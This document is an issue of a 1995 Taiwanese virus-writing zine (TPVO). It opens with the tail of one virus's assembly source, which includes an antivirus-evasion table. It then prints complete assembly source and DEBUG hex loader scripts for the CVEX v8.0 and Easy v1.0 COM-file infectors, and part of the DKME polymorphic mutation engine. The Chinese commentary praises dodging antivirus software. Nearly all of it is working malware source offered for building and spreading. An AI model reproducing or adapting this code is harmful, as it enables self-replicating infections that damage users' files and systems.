mov es:[di],ah
dec di
dec dx
jnz modify_1font
add di,17+15
loop modify_fonts
push cs
pop ds
mov al,10h
call get_int
mov ds:old10,bx
mov ds:old10[2],es
mov dx,offset int10
call set_int
call set_bios_fonts
mov al,1ch
mov dx,offset int1c
call set_int
move_done: jmp load_regs
set_bios_fonts: mov ax,1100h
mov bx,256*16
mov cx,256
cwd
mov bp,offset fonts_buffer
push cs
pop es
bios10: pushf
cli
push cs
call jmp_int10
ret
int10: or ah,ah
jnz jmp_int10
push ax
mov byte ptr cs:int1c,0cfh
and al,7fh
cmp al,3
ja int10_exit
cmp al,2
jb int10_exit
pop ax
call bios10
push ax bx cx dx bp es
call set_bios_fonts
pop es bp dx cx bx ax
mov byte ptr cs:int1c,90h
iret
int10_exit: pop ax
jmp_int10: db 0eah
old10 dw ?,?
int1c: nop
push ax cx dx si di ds es
mov dx,3d4h
mov ax,100ch
out dx,ax
mov ax,0dh
out dx,ax
xor si,si
mov ax,0b800h
mov ds,ax
mov di,80*25*2-2
mov ah,0bah
mov es,ax
mov cx,80*25*2/2
cld
move_word: movsw
sub di,4
loop move_word
pop es ds di si dx cx ax
iret
exe_or_com?: mov si,dx ; ds:dx = file name
exe_or_com?_: ; ds:si = file name
find_zero: lodsb
or al,al
jnz find_zero
sub si,5
jb eoc?_exit
mov ax,ds:[si]
mov bx,ds:[si+2]
cmp al,'.'
jne eoc?_exit
or ah,20h
or bx,2020h
cmp ah,'c'
jne is_exe?
cmp bx,'mo'
je eoc?_exit
is_exe?: cmp ah,bh
jne eoc?_exit
cmp bx,'ex'
eoc?_exit: ret
floopy_write_protected?:
mov al,0
device_info = byte ptr $-1
test al,111110b
jnz not_floopy
floopy_write_protected?_:
push dx
mov dx,3f5h
mov al,4
out dx,al
mov ch,4
loop $
out dx,al
mov ch,4
loop $
in al,dx
test al,40h
pop dx
jz not_floopy
stc
not_floopy: ret
file_infected?: mov ax,3d00h
call dos21
jc fi?_exit
xchg bx,ax
call handle_infected?
pushf
mov ah,3eh
call dos21
popf
fi?_exit: ret
handle_infected?:
push cs
pop ds
mov ax,4400h
mov ds:vir_mark,ax
call dos21
jc hi?_end
or al,al
stc
js hi?_end
mov ds:device_info,al
call get_seek_point
push ax dx
call get_file_size
sub al,6
test al,7fh
jnz rest_seek_point
mov cx,-1
mov dx,-6
call seek_from_end
mov ah,3fh
mov cx,6
mov dx,offset vir_mark
call access
jc rest_seek_point
cmp word ptr ds:vir_mark,'DS'
clc
jne rest_seek_point
les dx,dword ptr ds:host_size
mov cx,es
add dx,vir_size-18h
adc cx,0
call seek_from_head
mov ah,3fh
mov cx,18h
mov dx,offset new_header
call access
rest_seek_point:pop cx dx
pushf
call seek_from_head
popf
hi?_end: ret
seek_to_head: mov al,0
cmp ax,0
org $-2
get_seek_point: mov al,1
cmp ax,0
org $-2
seek_to_end:
get_file_size: mov al,2
xor cx,cx
xor dx,dx
cmp ax,0
org $-2
seek_from_head: mov al,0
cmp ax,0
org $-2
seek_from_now: mov al,1
cmp ax,0
org $-2
seek_from_end: mov al,2
seek: mov ah,42h
call dos21
ret
access: call dos21
jc access_ret
sub ax,cx
access_ret: ret
set_int24: in al,21h
or al,2
out 21h,al
mov al,24h
call get_int
cmp bx,offset int24
je set_int24_exit
push cs
pop ds
mov ds:old24,bx
mov ds:old24[2],es
mov dx,offset int24
jmp set_int
set_int24_exit: ret
unset_int24: in al,21h
and al,not 2
out 21h,al
mov al,24h
call get_int
cmp bx,offset int24
jne unset_int24_exit
lds dx,dword ptr cs:old24
jmp set_int
unset_int24_exit:
ret
int24: mov al,3
iret
int2f: cmp ax,1216h
jne int2f_exit
stc
retf 2
int2f_exit: db 0eah
old2f dw ?,?
chrn db 50h,0,01,2
db 50h,0,02,2
db 50h,0,03,2
db 50h,0,04,2
db 50h,0,05,2
db 50h,0,06,2
db 50h,0,07,2
db 50h,0,08,2
db 50h,0,09,2
db 50h,0,10,2
dbbw macro a,b,c
db a
db b
dw c
endm
av_name: dbbw 4,'vtsc',vt_cmd
dbbw 4,'vthu',vt_cmd
dbbw 4,'pvsc',vt_cmd
dbbw 4,'pvcl',vt_cmd
dbbw 7,'tbscan.',tb_cmd
dbbw 4,'f-pr',fp_scan_cmd
dbbw 5,'scan.',fp_scan_cmd
dbbw 3,'avp',avp_cmd
db 0
vt_cmd db '/i',0dh
tb_cmd db 'co nm',0dh
fp_scan_cmd db '/nomem',0dh
avp_cmd db '/m',0dh
helper_name db 5,'PKZIP'
db 3,'ARJ'
db 3,'RAR'
db 3,'LHA'
db 5,'TELIX'
db 6,'BACKUP'
db 8,'MSBACKUP'
db 8,'CPBACKUP'
db 6,'CHKDSK'
db 0
host_header db 0cdh,20h,16h dup(?)
vir_end:
new_header db 18h+4 dup(?)
vir_mark dw ?
host_size dw ?,?
active_flag db ?
old24 dw ?,?
packed_sign dw ?
file_name db 15 dup(?)
disk_buffer db 512 dup(?)
mem_end:
fonts_buffer db 1000h dup(?)
sft struc
sft_users dw ?
sft_mode dw ?
sft_attr db ?
sft_dev_attr dw ?
sft_dpb_ptr dd ?
sft_1st_clust dw ?
sft_time dw ?
sft_date dw ?
sft_size dd ?
sft_seek_point dd ?
sft_rel_clust dw ?
sft_abs_clust dw ?
sft_dir_sect dw ?
sft_dir_entries db ?
sft_name db 8 dup(?)
sft_ext db 3 dup(?)
sft_shr_sft_ptr dd ?
sft_shr_mchn_num dw ?
sft_psp_seg dw ?
sft_shr_rec_ofs dw ?
sft_last_rw_clust_no dw ?
sft ends
exe_header struc
eh_sign dw ?
eh_sect_mod dw ?
eh_sects dw ?
eh_rels dw ?
eh_header_para dw ?
eh_min_mem_para dw ?
eh_max_mem_para dw ?
eh_ss dw ?
eh_sp dw ?
eh_checksum dw ?
eh_ip dw ?
eh_cs dw ?
eh_1st_rel dw ?
eh_ovl_num dw ?
db 32 dup(?)
eh_neh_ofs dd ?
exe_header ends
new_exe_header struc
neh_sign dw ?
neh_linker_ver dw ?
neh_entry_tb_ofs dw ?
neh_entry_tb_size dw ?
neh_crc dd ?
neh_prog_flags db ?
neh_app_flags db ?
neh_auto_data_seg_index dw ?
neh_init_loc_heap_size dw ?
neh_init_stack_size dw ?
neh_ip dw ?
neh_cs dw ?
neh_sp dw ?
neh_ss dw ?
neh_seg_count dw ?
neh_mod_ref_count dw ?
neh_nresid_name_size dw ?
neh_seg_tb_ofs dw ?
neh_resrc_tb_ofs dw ?
neh_resid_name_tb_ofs dw ?
neh_mod_ref_ofs dw ?
neh_import_name_tb_ofs dw ?
neh_nresid_name_tb_ofs dd ?
neh_movable_entry_count dw ?
neh_align_shift dw ?
neh_resrc_tb_entry_count dw ?
neh_opert_system db ?
neg_exe_flags db ?
neg_ret_thunk_ofs dw ?
neh_seg_ref_thunk_ofs dw ?
neh_mini_code_swap_size dw ?
neh_expect_win_ver dw ?
new_exe_header ends
sys_header struc
sh_next_ptr dd ?
sh_attr dw ?
sh_strat dw ?
sh_int dw ?
sh_name db 8 dup(?)
sys_header ends
dos_caller_stack struc
dcs_ax dw ?
dcs_bx dw ?
dcs_cx dw ?
dcs_dx dw ?
dcs_si dw ?
dcs_di dw ?
dcs_bp dw ?
dcs_ds dw ?
dcs_es dw ?
dcs_ip dw ?
dcs_cs dw ?
dcs_flags dw ?
dos_caller_stack ends
dir struc
dir_drive db ?
dir_name db 8 dup(?)
dir_ext db 3 dup(?)
dir_attr db ?
db 10 dup(?)
dir_time dw ?
dir_date dw ?
dir_start_clust dw ?
dir_size dd ?
dir ends
find struc
find_drive db ?
find_find_name db 8 dup(?)
find_find_ext db 3 dup(?)
find_find_attr db ?
find_entry_count dw ?
find_dir_1st_clust dw ?
db 4 dup(?)
find_attr db ?
find_time dw ?
find_date dw ?
find_size dd ?
find_name db 13 dup(?)
find ends
mcb struc
mcb_sign db ?
mcb_onwer_seg dw ?
mcb_para_size dw ?
db 3 dup(?)
mcb_name db 8 dup(?)
mcb ends
pcb struc
pcb_env_var_seg dw ?
pcb_parameter_ptr dd ?
pcb_fcb1_ptr dd ?
pcb_fcb2_ptr dd ?
pcb_sp dw ?
pcb_ss dw ?
pcb_ip dw ?
pcb_cs dw ?
pcb ends

boot_sector struc
bs_jmp db 3 dup(?)
bs_oem_name db 8 dup(?)
bs_sector_size dw ?
bs_clust_sectors db ?
bs_reserved_sectors dw ?
bs_fat_count db ?
bs_root_dir_entries dw ?
bs_sectors dw ?
bs_media_id db ?
bs_fat_sectors dw ?
bs_track_sectors dw ?
bs_heads dw ?
bs_hidden_sectors dd ?
bs_ext_sectors dd ?
bs_drive_count db ?
db ?
bs_boot_sign db ?
bs_id dd ?
bs_label db 11 dup(?)
bs_fat_type db 8 dup(?)
boot_sector ends
partition_table struc
pt_active_id db ?
pt_boot_head db ?
pt_boot_sector db ?
pt_boot_track db ?
pt_system_id db ?
pt_last_head db ?
pt_last_sector db ?
pt_last_track db ?
pt_first_sect_no dd ?
pt_sectors dd ?
partition_table ends
end start
--
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   CVEX v8.0 病毒   Vo
pT OT
VP by Zhuge Jin VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================
由于可怜的猪哥去当兵了,而此文章又没有任何说明,所以就由我来
代笔罗...
此毒是先取得 SFT 中 offset 1Bh 的目录磁区号码,然后利用 int
25h/int 26h 来对档案的目录做存取动作,如此一来... 可以先利用 int
25h/int 26h 来将档案的副档名 rename 成非执行档名,再开启此档感染
之,然后关档,最后再利用 int 25h/26h 将副档名 rename 回去。如此一
来... 可逃过那些烂防毒程式。
Dark Slayer
========================== Begin of CVEX8.asm ==========================
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; CVEX v8.0 by Zhuge Jin at TPVO, 1995.
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.286
.MODEL TINY
.CODE
org 0100h
vir_start:
cld
xor si,si
mov ds,ds:[si+2ch]
mov cx,8000h
xor bp,bp
get_name:
lodsb
cmp word ptr ds:[si],0000h
jnz get_name
lodsw
lodsw
mov di,OFFSET buffer
mov cx,0100h
repz movsb
push cs
pop ds
mov dx,0b400h
mov ah,0fh
int 10h
cmp al,07h
jz scr_mono
mov dx,0bc00h
scr_mono:
mov word ptr ds:[disk_buff+02h],dx
mov ah,4ah
mov bx,OFFSET vir_end+10h
add bx,ds:prg_size
shr bx,04h
int 21h
mov ax,3d00h
mov dx,OFFSET buffer
int 21h
jc run_prog
xchg ax,bx
push bx
mov ax,1220h
int 2fh
xor bx,bx
mov bl,es:[di]
mov ax,1216h
int 2fh
pop bx
mov al,es:[di+05h]
and ax,00111111b
push ax
push word ptr es:[di+1bh]
pop word ptr ds:[disk_io]
push word ptr es:[di+1dh]
pop word ptr ds:[disk_io+02h]
mov ah,3eh
int 21h
pop ax
mov ds:drv_no,ax
mov bx,OFFSET disk_io
mov cx,0ffffh
int 25h
add sp,0002h
lds si,ds:[disk_buff]
add si,(08h-20h)
mov cx,0013h
search_com:
add si,0020h
cmp word ptr ds:[si],'OC'
jnz search_com
cmp byte ptr ds:[si+02h],'M'
jnz search_com
cmp bp,03h
jae run_prog
push ds
push si
push cx
call infect
pop cx
pop si
pop ds
loop search_com
run_prog:
push cs
pop ds
push cs
pop es
mov cx,ds:prg_size
mov si,OFFSET vir_end
mov di,0100h
push di
repz movsb
ret
infect:
mov word ptr ds:[si],'PT'
mov byte ptr ds:[si+02h],'V'
push ds
push cs
pop ds
mov ax,ds:drv_no
mov bx,OFFSET disk_io
mov cx,0ffffh
int 26h
add sp,0002h
mov di,si
sub di,0008h
mov si,OFFSET buffer
find_2eh:
lodsb
cmp al,'.'
jnz find_2eh
std
find_path:
cmp si,OFFSET buffer-1
jb got_it
lodsb
cmp al,'\'
jnz find_path
got_it:
cld
lodsw
pop ds
push cs
pop es
xchg si,di
mov word ptr ds:[si+08h],'OC'
mov byte ptr ds:[si+08h+02h],'M'
mov word ptr cs:tmp_si,si
mov word ptr cs:[tmp_si+02h],ds
mov cx,0008h
set_file_name:
lodsb
cmp al,' '
jz set_ext_name
stosb
loop set_file_name
set_ext_name:
mov ax,'T.'
stosw
mov ax,'VP'
stosw
mov al,00h
stosb
push cs
pop ds
mov ax,3d02h
mov dx,OFFSET buffer
int 21h
jc infect_err
push ax
mov ah,48h
mov bx,0f00h
int 21h
pop bx
jc infect_not
mov es,ax
xor di,di
mov si,0100h
mov cx,OFFSET vir_end-0100h
repz movsb
mov ax,4202h
xor cx,cx
cwd
int 21h
push ax
mov ax,4200h
xor cx,cx
int 21h
pop cx
push cx
push es
pop ds
mov ah,3fh
mov dx,di
int 21h
mov ax,4200h
xor cx,cx
cwd
int 21h
pop cx
mov ds:[prg_size-0100h],cx
cmp word ptr ds:[di],33fch
jz has_infect
mov ah,40h
add cx,OFFSET vir_end-0100h
int 21h
push ds
lds si,cs:[tmp_si]
add word ptr ds:[si+1ch],OFFSET vir_end-0100h
pop ds
inc bp
has_infect:
mov ah,49h
int 21h
infect_not:
mov ah,3eh
int 21h
push cs
pop ds
mov ax,ds:drv_no
mov bx,OFFSET disk_io
mov cx,0ffffh
int 26h
add sp,0002h
infect_err:
ret
drv_no dw ?
disk_io dd ?
dw 0002h
disk_buff dd ?
prg_size dw 0002h
tmp_si dd ?
buffer db 0100h dup (?)
vir_end:
int 20h
END vir_start
=========================== End of CVEX8.asm ===========================
n cvex8.com
e 0100 FC 33 F6 8E 5C 2C B9 00 80 33 ED AC 83 3C 00 75
e 0110 FA AD AD BF B1 02 B9 00 01 F3 A4 0E 1F BA 00 B4
e 0120 B4 0F CD 10 3C 07 74 03 BA 00 BC 89 16 A9 02 B4
e 0130 4A BB C1 03 03 1E AB 02 C1 EB 04 CD 21 B8 00 3D
e 0140 BA B1 02 CD 21 72 66 93 53 B8 20 12 CD 2F 33 DB
e 0150 26 8A 1D B8 16 12 CD 2F 5B 26 8A 45 05 25 3F 00
e 0160 50 26 FF 75 1B 8F 06 A1 02 26 FF 75 1D 8F 06 A3
e 0170 02 B4 3E CD 21 58 A3 9F 02 BB A1 02 B9 FF FF CD
e 0180 25 83 C4 02 C5 36 A7 02 83 C6 E8 B9 13 00 83 C6
e 0190 20 81 3C 43 4F 75 F7 80 7C 02 4D 75 F1 83 FD 03
e 01A0 73 0B 1E 56 51 E8 17 00 59 5E 1F E2 E1 0E 1F 0E
e 01B0 07 8B 0E AB 02 BE B1 03 BF 00 01 57 F3 A4 C3 C7
e 01C0 04 54 50 C6 44 02 56 1E 0E 1F A1 9F 02 BB A1 02
e 01D0 B9 FF FF CD 26 83 C4 02 8B FE 83 EF 08 BE B1 02
e 01E0 AC 3C 2E 75 FB FD 81 FE B0 02 72 05 AC 3C 5C 75
e 01F0 F5 FC AD 1F 0E 07 87 F7 C7 44 08 43 4F C6 44 0A
e 0200 4D 2E 89 36 AD 02 2E 8C 1E AF 02 B9 08 00 AC 3C
e 0210 20 74 03 AA E2 F8 B8 2E 54 AB B8 50 56 AB B0 00
e 0220 AA 0E 1F B8 02 3D BA B1 02 CD 21 72 71 50 B4 48
e 0230 BB 00 0F CD 21 5B 72 52 8E C0 33 FF BE 00 01 B9
e 0240 B1 02 F3 A4 B8 02 42 33 C9 99 CD 21 50 B8 00 42
e 0250 33 C9 CD 21 59 51 06 1F B4 3F 8B D7 CD 21 B8 00
e 0260 42 33 C9 99 CD 21 59 89 0E AB 01 81 3D FC 33 74
e 0270 15 B4 40 81 C1 B1 02 CD 21 1E 2E C5 36 AD 02 81
e 0280 44 1C B1 02 1F 45 B4 49 CD 21 B4 3E CD 21 0E 1F
e 0290 A1 9F 02 BB A1 02 B9 FF FF CD 26 83 C4 02 C3 00
e 02A0 00 00 00 00 00 02 00 00 00 00 00 02 00 00 00 00
e 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03B0 00 CD 20
rcx
2B3
w
q
--
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   Easy v1.0 病毒   Vo
pT OT
VP by Dark Killer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================
Easy V1.0 , Written by Dark Killer.
这一毒写的非常的 Easy... 大家可以看看... 这只毒若被
DS 看到一定会... 因为抄 Connie 3.0 的 I/O 转向...
嘿嘿... Bug 是应该有,看一下哪有问题...
本来想写隐藏, 因为 Mark 的关系... 有一点问题... 所
以就取消了...
橝追 Int 21h 原始中断点
橞萤幕 IO 转向 (抄 Connie 3.0... 别打我...)
機用了一些 SFT 的技巧...
========================================================================
.286c
code segment
assume cs:code,ds:code,es:code,ss:code
org 0000h
vir_len equ offset vir_end-offset vir_start
vir_para equ (vir_len+0fh)/10h
start:
vir_start:
call delta1
delta1:
call delta2
delta2:
mov bp,sp
mov si,word ptr [bp+02h]
sub si,offset delta1
add sp,0004h
mov ax,9fe8h
int 21h
cmp ax,0e89fh
jne install
run_com:
push cs
pop ds
push ss
pop es
add si,offset head_read
mov di,0100h
push ss
push di
cld
movsw
movsw
push ss
pop ds
retf
install:
mov ah,52h
int 21h
mov bx,es:[bx-02h]
xor di,di
mcb_loop1:
mov es,bx
add bx,es:[di+03h]
inc bx
cmp byte ptr es:[di],"Z"
jne mcb_loop1
mcb_loop2:
mov ax,es
mov es,bx
cmp byte ptr es:[di],"M"
mov es,ax
jne mcb_ok
mcb_loop3:
mov es,bx
add bx,es:[di+03h]
inc bx
cmp byte ptr es:[di],"Z"
jne mcb_loop3
mcb_ok:
sub word ptr es:[di+03h],vir_para
mov ax,es
add ax,es:[di+03h]
mov es,ax
mov cx,vir_len
push es
push offset con
cld
rep movsb
retf
con:
push 00h
pop ds
cli
mov ax,offset newint21h
xchg word ptr ds:[0084h],ax
mov word ptr cs:oldint21h,ax
mov word ptr cs:entint21h,ax
mov ax,cs
xchg word ptr ds:[0086h],ax
mov word ptr cs:oldint21h+0002h,ax
mov word ptr cs:entint21h+0002h,ax
call trace_int21h
xor si,si
jmp run_com
trace_int21h proc near
pushf
pusha
push ds
push es
mov ah,52h
int 21h
mov cx,0fff0h
xor di,di
mov al,90h
trace_int21h_loop1:
repne scasb
jcxz trace_int21h_exit
scasb
jne trace_int21h_loop1
cmp word ptr es:[di],0cce8h
jne trace_int21h_loop1
cmp word ptr es:[di+03h],0ff2eh
jne trace_int21h_loop1
cmp byte ptr es:[di+05h],2eh
jne trace_int21h_loop1
mov di,word ptr es:[di+06h]
les di,dword ptr es:[di]
mov word ptr cs:entint21h,di
mov word ptr cs:entint21h+0002h,es
mov al,06h
mov cx,0030h
trace_int21h_loop2:
repne scasb
jcxz trace_int21h_exit
cmp byte ptr es:[di],1eh
jne trace_int21h_loop2
dec di
mov word ptr cs:entint21h,di
trace_int21h_exit:
pop es
pop ds
popa
popf
ret
trace_int21h endp
msg db "[Easy 1.0] Virus by Dark Killer in TPVO.",00h
head_read db 0cdh,20h,?,?
head_write db 0f5h,0e9h,?,?
oldint21h dd ?
entint21h dd ?
newint21h proc far
pushf
cmp ax,9fe8h
je @9fe8
cmp ah,3dh
je infect
cmp ah,4bh
je infect
cmp ah,43h
je infect
cmp ah,56h
je infect
jump_int21h:
popf
jmp dword ptr cs:oldint21h
@9fe8:
popf
xchg ah,al
iret
infect:
pusha
push ds
push es
mov ax,3d00h
call callint21h
jc infect_exit0
xchg bx,ax
push bx
mov ax,1220h
int 2fh
mov ax,1216h
xor bh,bh
mov bl,es:[di]
int 2fh
pop bx
or word ptr es:[di+02h],0002h
mov al,byte ptr es:[di+04h]
push ax
mov byte ptr es:[di+04h],00h
or word ptr es:[di+05h],4000h
cmp word ptr es:[di+28h],"OC"
jne infect_exit1
cmp byte ptr es:[di+2ah],"M"
jne infect_exit1
push cs
pop ds
mov ah,3fh
mov cx,0004h
mov dx,offset head_read
call callint21h
mov ax,word ptr es:[di+11h]
mov word ptr es:[di+15h],ax
sub ax,0004h
mov word ptr head_write+0002h,ax
cmp word ptr head_read,0e9f5h
je infect_exit1
mov ah,40h
mov cx,vir_len
mov dx,offset vir_end
call write
push 00h
pop word ptr es:[di+15h]
mov ah,40h
mov cx,0004h
mov dx,offset head_write
call write
infect_exit1:
pop ax
mov byte ptr es:[di+04h],al
mov ah,3eh
call callint21h
infect_exit0:
pop es
pop ds
popa
jmp jump_int21h
newint21h endp
callint21h proc near
pushf
call dword ptr cs:entint21h
ret
callint21h endp
write proc near
pushf
pusha
push es
mov ax,1220h
int 2fh
push word ptr es:[di]
mov ax,1220h
xor bx,bx
int 2fh
pop ax
mov ah,al
xchg word ptr es:[di],ax
push ax
mov si,dx
cld
write_loop:
lodsb
xchg dx,ax
cmp dl,0ffh
mov ah,06h
jne write_not_ff
mov ah,02h
write_not_ff:
call callint21h
loop write_loop
pop es:[di]
pop es
popa
popf
ret
write endp
vir_end:
code ends
end start
========================================================================
n easy10.com
e 0100 E8 00 00 E8 00 00 8B EC 8B 76 02 81 EE 03 00 83
e 0110 C4 04 B8 E8 9F CD 21 3D 9F E8 75 13 0E 1F 16 07
e 0120 81 C6 20 01 BF 00 01 16 57 FC A5 A5 16 1F CB B4
e 0130 52 CD 21 26 8B 5F FE 33 FF 8E C3 26 03 5D 03 43
e 0140 26 80 3D 5A 75 F3 8C C0 8E C3 26 80 3D 4D 8E C0
e 0150 75 0D 8E C3 26 03 5D 03 43 26 80 3D 5A 75 F3 26
e 0160 83 6D 03 22 8C C0 26 03 45 03 8E C0 B9 1E 02 06
e 0170 68 77 00 FC F3 A4 CB 6A 00 1F FA B8 30 01 87 06
e 0180 84 00 2E A3 28 01 2E A3 2C 01 8C C8 87 06 86 00
e 0190 2E A3 2A 01 2E A3 2E 01 E8 05 00 33 F6 E9 7C FF
e 01A0 9C 60 1E 06 B4 52 CD 21 B9 F0 FF 33 FF B0 90 F2
e 01B0 AE E3 3F AE 75 F9 26 81 3D E8 CC 75 F2 26 81 7D
e 01C0 03 2E FF 75 EA 26 80 7D 05 2E 75 E3 26 8B 7D 06
e 01D0 26 C4 3D 2E 89 3E 2C 01 2E 8C 06 2E 01 B0 06 B9
e 01E0 30 00 F2 AE E3 0C 26 80 3D 1E 75 F6 4F 2E 89 3E
e 01F0 2C 01 07 1F 61 9D C3 5B 45 61 73 79 20 31 2E 30
e 0200 5D 20 56 69 72 75 73 20 62 79 20 44 61 72 6B 20
e 0210 4B 69 6C 6C 65 72 20 69 6E 20 54 50 56 4F 2E 00
e 0220 CD 20 00 00 F5 E9 00 00 00 00 00 00 00 00 00 00
e 0230 9C 3D E8 9F 74 1A 80 FC 3D 74 19 80 FC 4B 74 14
e 0240 80 FC 43 74 0F 80 FC 56 74 0A 9D 2E FF 2E 28 01
e 0250 9D 86 E0 CF 60 1E 06 B8 00 3D E8 87 00 72 7F 93
e 0260 53 B8 20 12 CD 2F B8 16 12 32 FF 26 8A 1D CD 2F
e 0270 5B 26 83 4D 02 02 26 8A 45 04 50 26 C6 45 04 00
e 0280 26 81 4D 05 00 40 26 81 7D 28 43 4F 75 46 26 80
e 0290 7D 2A 4D 75 3F 0E 1F B4 3F B9 04 00 BA 20 01 E8
e 02A0 42 00 26 8B 45 11 26 89 45 15 2D 04 00 A3 26 01
e 02B0 81 3E 20 01 F5 E9 74 1C B4 40 B9 1E 02 BA 1E 02
e 02C0 E8 28 00 6A 00 26 8F 45 15 B4 40 B9 04 00 BA 24
e 02D0 01 E8 17 00 58 26 88 45 04 B4 3E E8 06 00 07 1F
e 02E0 61 E9 66 FF 9C 2E FF 1E 2C 01 C3 9C 60 06 B8 20
e 02F0 12 CD 2F 26 FF 35 B8 20 12 33 DB CD 2F 58 8A E0
e 0300 26 87 05 50 8B F2 FC AC 92 80 FA FF B4 06 75 02
e 0310 B4 02 E8 CF FF E2 F0 26 8F 05 07 61 9D C3
rcx
21E
w
q

--
TpVOtPVoTpvOTpVOtpVoTPvOTPVOtpVOTPvOtPVOtPVOtPvOTPvOTpVoTPVO
PT OT
VP 台 湾 威 力 病 毒 组 织 病毒杂志 第 三 期 TP
oV PV
TO   DKME v1.0 变体引擎   Vo
pT OT
VP by Dark Killer VP
OV OV
OVTPVoTpvOtPvoTPVOtPvoTpVotpvoTpVotpvOtPvoTpVOtpvOTPvOTpvOTP

==============================================================
因为在准备明年的联考, 所以最近比较少打电脑... 连中打都觉
得怪怪的... 废话不多说... 切入正题, 我把 DKME 1.0 的原始
码拿出来给大家看看... n 个月前写的东西... 请不要笑得太大
声, 以免妨碍安宁...
传入参数:
DS:DX => 欲编码的程式区
ES:0000 => 编完码的程式区
BX => 档案的偏移值
CX => 欲编码的长度
传回参数:
DS:DX => 已编好的程式区
CX => 已编完码的长度
AX => 会被改变...
注意事项:
1.本变体引擎所使用的重定位技巧不像 DSME、DSCE , 所以在记
忆体中不必对齐 16 的倍数....
2.本变体引擎仅用于 .COM 档的多形, 原因是解码指令忘了加上
"CS:" , 自己去加吧!
3.我是用 MASM 6.0Beta 版编译...
有 Bugs 跟 DS 说吧! 我可能会先闭关一阵子...
DKME V1.0 的重定位方法:
CALL DELTA
DELTA: POP BP
SUB BP,OFFSET DELTA
DSME V1.0 的重定位方法: (应该是没记错啦...)
CALL DELTA
DELTA: POP AX
SUB AX,OFFSET DELTA
MOV CL,04h
SHR AX,CL
MOV CX,CS
ADD AX,CX
PUSH AX
MOV AX,OFFSET CON
PUSH AX
RETF
CON:
-------------------------------------------------------------------------------
程式解说:
DKME : 没什么好说的...
DKME_TRASH : 制造垃圾码的一个副程式, 但是所造出的码「不会」干扰到旗标
DKME_TRASH_F_RE: 因为 DKME_TRASH_FLAG 的程式码太多重覆, 所以就用个副程式...
DKME_TRASH_FLAG: 制造垃圾码的一个副程式, 可是所造出的码「可能」会干扰到旗标
DKME_END : 没什么好说的...
ENCRYATION : 编码的一段程式码...
RND : 取乱数的副程式嘛!
WILL_ENC : 设定「解码指令的种类」 (ADD/XOR/SUB/INC/DEC/NEG/NOT/ROR/ROL)
因为当时疏忽, 本来应该用 WILL_DEC...
WILL_INC : 设定「递增指令」
WILL_JNZ : 设定「跳跃指令」
WILL_MOV : 设定「解码位置暂存器」 (BX/SI/DI)
为何不用 BP 呢? 只因为 BP 太 !@#$%^...
-------------------------------------------------------------------------------
DKMTE SEGMENT
ASSUME CS:DKMTE
PUBLIC DKME
PUBLIC DKME_END
ORG 0000h
DB " Dark Killer Mutation Engine Version 1.0 ",0Dh,0Ah
DB " Written By Dark Killer in Taiwan, ShinChuang. ",00h
DKME_OFFSET_CMP DW 0000h
DKME_OFFSET_ENC DB 00h ; 00h = NOT , 01h = NEG , 02h = INC , 03h = DEC
; ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^
; 04h = ADD , 05h = SUB , 06h = ROR , 07h = ROL
; ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^
; 08h = XOR
; ^^^^^^^^^
DKME_OFFSET_KEY DB 00h
DKME_OFFSET_LOP DW 0000h
DKME_OFFSET_STA DW 0000h
DKME_OFFSET_VAL DB 00h
DKME PROC NEAR
PUSHF
PUSH BP
PUSH DI
PUSH SI
DKME_SetUp:
CALL DKME_NEXT1 ; 重定位...
DKME_NEXT1:
POP BP
SUB BP,OFFSET DKME_NEXT1
CLD
CLI
XOR DI,DI
MOV SI,DX
DKME_Begin:
;==============================================================================
CALL DKME_TRASH_FLAG
CALL DKME_TRASH_FLAG
;===[MOV BX|SI|DI,????]========================================================
WILL_MOV:
IN AL,40h
AND AL,07h
CMP AL,03h
JE DKME_CON1
CMP AL,06h
JE DKME_CON1
CMP AL,07h
JNE WILL_MOV
DKME_CON1:
MOV BYTE PTR [BP+OFFSET DKME_OFFSET_KEY],AL
ADD AL,0B8h
STOSB
MOV [BP+OFFSET DKME_OFFSET_STA],DI
MOV AX,BX
STOSW
;==============================================================================
CALL DKME_TRASH
;===[enc BYTE PTR [BX|BP|SI|DI+????,??]========================================
WILL_ENC:
MOV [BP+OFFSET DKME_OFFSET_LOP],DI
CALL RND
AND AL,0Fh
OR AL,AL
JE WILL_ENC_NOT
CMP AL,01h
JE WILL_ENC_NEG
CMP AL,02h
JE WILL_ENC_INC
CMP AL,03h
JE WILL_ENC_DEC
